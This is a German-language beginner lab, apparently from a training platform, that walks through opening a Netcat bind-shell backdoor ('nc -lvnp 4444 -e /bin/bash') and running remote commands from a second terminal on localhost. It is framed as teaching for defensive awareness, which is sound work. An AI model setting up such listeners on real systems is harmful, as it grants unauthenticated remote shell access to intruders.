Eine Backdoor in Netcat erstellen

LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie, wie Sie mit Netcat, einem vielseitigen Netzwerk-Dienstprogramm, eine einfache Backdoor erstellen. Eine Backdoor ist eine Methode, um die normale Authentifizierung zu umgehen und Fernzugriff auf einen Computer zu erhalten. Sie üben das Einrichten eines Listeners auf einer simulierten "Opfer"-Maschine und die Verbindung dazu von einer simulierten "Angreifer"-Maschine aus, um Befehle remote auszuführen. Dieses Lab demonstriert grundlegende Netzwerkkonzepte, die in der Cybersicherheit verwendet werden, und bietet Einblicke in offensive Techniken sowie defensive Sensibilisierung.

Dies ist ein Guided Lab, das schrittweise Anweisungen bietet, um Ihnen beim Lernen und Üben zu helfen. Befolgen Sie die Anweisungen sorgfältig, um jeden Schritt abzuschließen und praktische Erfahrungen zu sammeln. Historische Daten zeigen, dass dies ein Labor der Stufe Anfänger mit einer Abschlussquote von 97% ist. Es hat eine positive Bewertungsrate von 100% von den Lernenden erhalten.

Netcat verstehen

Netcat (oder nc) ist ein Kommandozeilen-Dienstprogramm zum Lesen und Schreiben von Netzwerkverbindungen über TCP oder UDP. Aufgrund seiner Vielseitigkeit wird es oft als das "Schweizer Taschenmesser für TCP/IP" bezeichnet. In diesem Lab wurde Netcat bereits durch das Setup-Skript in einer für unseren Zweck geeigneten Version installiert.

Zuerst überprüfen wir, ob Netcat installiert ist und sehen uns das Hilfemenü an. Dies zeigt uns die verfügbaren Optionen.

Führen Sie den folgenden Befehl in Ihrem Terminal aus:

nc -h

Sie sollten eine Liste von Befehlsoptionen sehen. Die Ausgabe wird in etwa wie folgt aussehen (Versionen können variieren):

[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
 -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
 -e filename  program to exec after connect [dangerous!!]
 -b   allow broadcasts
...

Achten Sie genau auf die Optionen -e und -c. Die Ausgabe kennzeichnet sie ausdrücklich als "gefährlich" (dangerous). Das liegt daran, dass sie es Ihnen ermöglichen, ein Programm, wie z. B. eine Kommandozeile, auszuführen und es mit einem Netzwerkport zu verbinden. Genau diese Funktion werden wir nutzen, um unsere Backdoor zu erstellen. Zu verstehen, warum die Funktionen eines Werkzeugs als gefährlich gelten, ist ein wichtiger Teil des Lernens über Cybersicherheit.

Erstellen des Backdoor-Listeners

In diesem Schritt konfigurieren Sie ein Terminal so, dass es als "Opfer"-Maschine fungiert. Diese Maschine führt einen Netcat-Listener aus, der auf eine eingehende Verbindung wartet. Wenn eine Verbindung hergestellt wird, erhält die verbindende Person eine Kommandozeile, wodurch effektiv eine Backdoor geschaffen wird.

Wir werden für diese Übung Port 4444 verwenden. Ports sind Kommunikationsendpunkte, die es ermöglichen, auf verschiedene Dienste auf einer Maschine über ein Netzwerk zuzugreifen.

Führen Sie in Ihrem aktuellen Terminal den folgenden Befehl aus, um den Listener zu starten:

nc -lvnp 4444 -e /bin/bash

Lassen Sie uns diesen Befehl aufschlüsseln:

  • -l: Versetzt Netcat in den Listen-Modus, wartet auf eingehende Verbindungen.
  • -v: Aktiviert den ausführlichen Modus (verbose mode), der mehr Details über die Verbindung liefert.
  • -n: Weist Netcat an, numerische IP-Adressen zu verwenden, anstatt Hostnamen aufzulösen, was schneller sein kann.
  • -p 4444: Gibt den Port an, auf dem gelauscht werden soll, in diesem Fall Port 4444.
  • -e /bin/bash: Dies ist der wichtigste Teil. Er weist Netcat an, das Programm /bin/bash (die Bash-Shell) auszuführen und dessen Eingabe und Ausgabe mit dem Netzwerk-Socket zu verbinden, sobald ein Client eine Verbindung herstellt.

Nachdem Sie den Befehl ausgeführt haben, zeigt Ihr Terminal eine Meldung an, die besagt, dass es lauscht, und scheint dann einzufrieren. Dies ist normal. Es wartet nun auf eine Verbindung.

listening on [any] 4444 ...

Schließen Sie dieses Terminal nicht. Wir werden es als Opfer-Terminal bezeichnen. Sie müssen ein neues Terminal für den nächsten Schritt öffnen.

Verbindung zur Backdoor herstellen

Nun übernehmen Sie die Rolle des "Angreifers". Sie öffnen ein neues Terminal und verwenden Netcat, um sich mit dem Listener zu verbinden, den Sie im vorherigen Schritt gestartet haben. Da sich sowohl das "Opfer" als auch der "Angreifer" in diesem Lab auf derselben Maschine befinden, verbinden Sie sich mit der localhost-IP-Adresse, die 127.0.0.1 lautet.

Öffnen Sie zuerst ein neues Terminal. Sie können dies tun, indem Sie mit der rechten Maustaste in den Terminalbereich klicken und "Neuer Tab" auswählen oder die Tastenkombination Strg+Umschalt+T verwenden. Wir werden dieses neue Terminal als Angreifer-Terminal bezeichnen.

Führen Sie im neuen Angreifer-Terminal den folgenden Befehl aus, um sich mit dem Listener zu verbinden:

nc 127.0.0.1 4444

Nachdem Sie diesen Befehl ausgeführt haben, sehen Sie im Opfer-Terminal eine Verbindungsnachricht:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333

(Die Portnummer 33333 wird ein zufälliger Port mit hoher Nummer sein)

Ihr Angreifer-Terminal zeigt nun einen blinkenden Cursor, aber keine Eingabeaufforderung. Das liegt daran, dass Sie sich jetzt innerhalb der Bash-Shell befinden, die auf dem Opfer-Terminal läuft. Sie haben erfolgreich eine Remote-Shell eingerichtet. Jeder Befehl, den Sie hier eingeben, wird auf der "Opfer"-Maschine ausgeführt.

Ausführen von Remote-Befehlen

Sie haben nun eine Remote-Shell. Testen wir sie, indem wir einige Befehle vom Angreifer-Terminal ausführen. Diese Befehle werden im Kontext des Opfer-Terminals ausgeführt.

Geben Sie im Angreifer-Terminal den folgenden Befehl ein und drücken Sie Enter:

whoami

Die Ausgabe wird labex sein, was das Benutzerkonto der Opfer-Shell ist.

labex

Finden wir nun das aktuelle Arbeitsverzeichnis der Remote-Shell heraus:

pwd

Die Ausgabe zeigt das Home-Verzeichnis des Benutzers labex.

/home/labex/project

Um zu beweisen, dass Sie die Kontrolle haben, erstellen wir eine Datei auf dem "Opfer"-System. Führen Sie diesen Befehl im Angreifer-Terminal aus:

echo "Backdoor was here" > /tmp/proof.txt

Dieser Befehl erstellt eine Datei namens proof.txt im Verzeichnis /tmp mit etwas Text darin. Sie werden keine Ausgabe sehen.

Nun überprüfen wir, ob die Datei erstellt wurde. Lesen Sie im Angreifer-Terminal den Inhalt der Datei:

cat /tmp/proof.txt

Sie sollten den Text sehen, den Sie gerade geschrieben haben:

Backdoor was here

Remote command execution successful

Sie haben erfolgreich Befehle remote ausgeführt und das Dateisystem des Opfers modifiziert. Um die Sitzung zu beenden, können Sie im Angreifer-Terminal Strg+C drücken. Dies schließt die Verbindung, und der Netcat-Listener-Prozess im Opfer-Terminal wird ebenfalls beendet.

Zusammenfassung

In diesem Lab haben Sie gelernt, wie man mit Netcat eine einfache Backdoor erstellt und damit interagiert. Sie haben geübt, einen Listener auf einer "Opfer"-Maschine mit den Flags -l, -p und -e einzurichten, um eine Befehlsshell bereitzustellen. Anschließend haben Sie als "Angreifer" agiert, indem Sie sich von einem anderen Terminal aus mit diesem Listener verbunden und Befehle remote ausgeführt haben.

Diese Übung demonstriert eine leistungsstarke, wenn auch gefährliche, Fähigkeit von Netcat. Das Verständnis, wie solche Werkzeuge für unbefugten Zugriff genutzt werden können, ist eine grundlegende Fähigkeit in der Cybersicherheit und hilft Ihnen, ähnliche reale Angriffe besser zu erkennen, zu verhindern und sich dagegen zu verteidigen.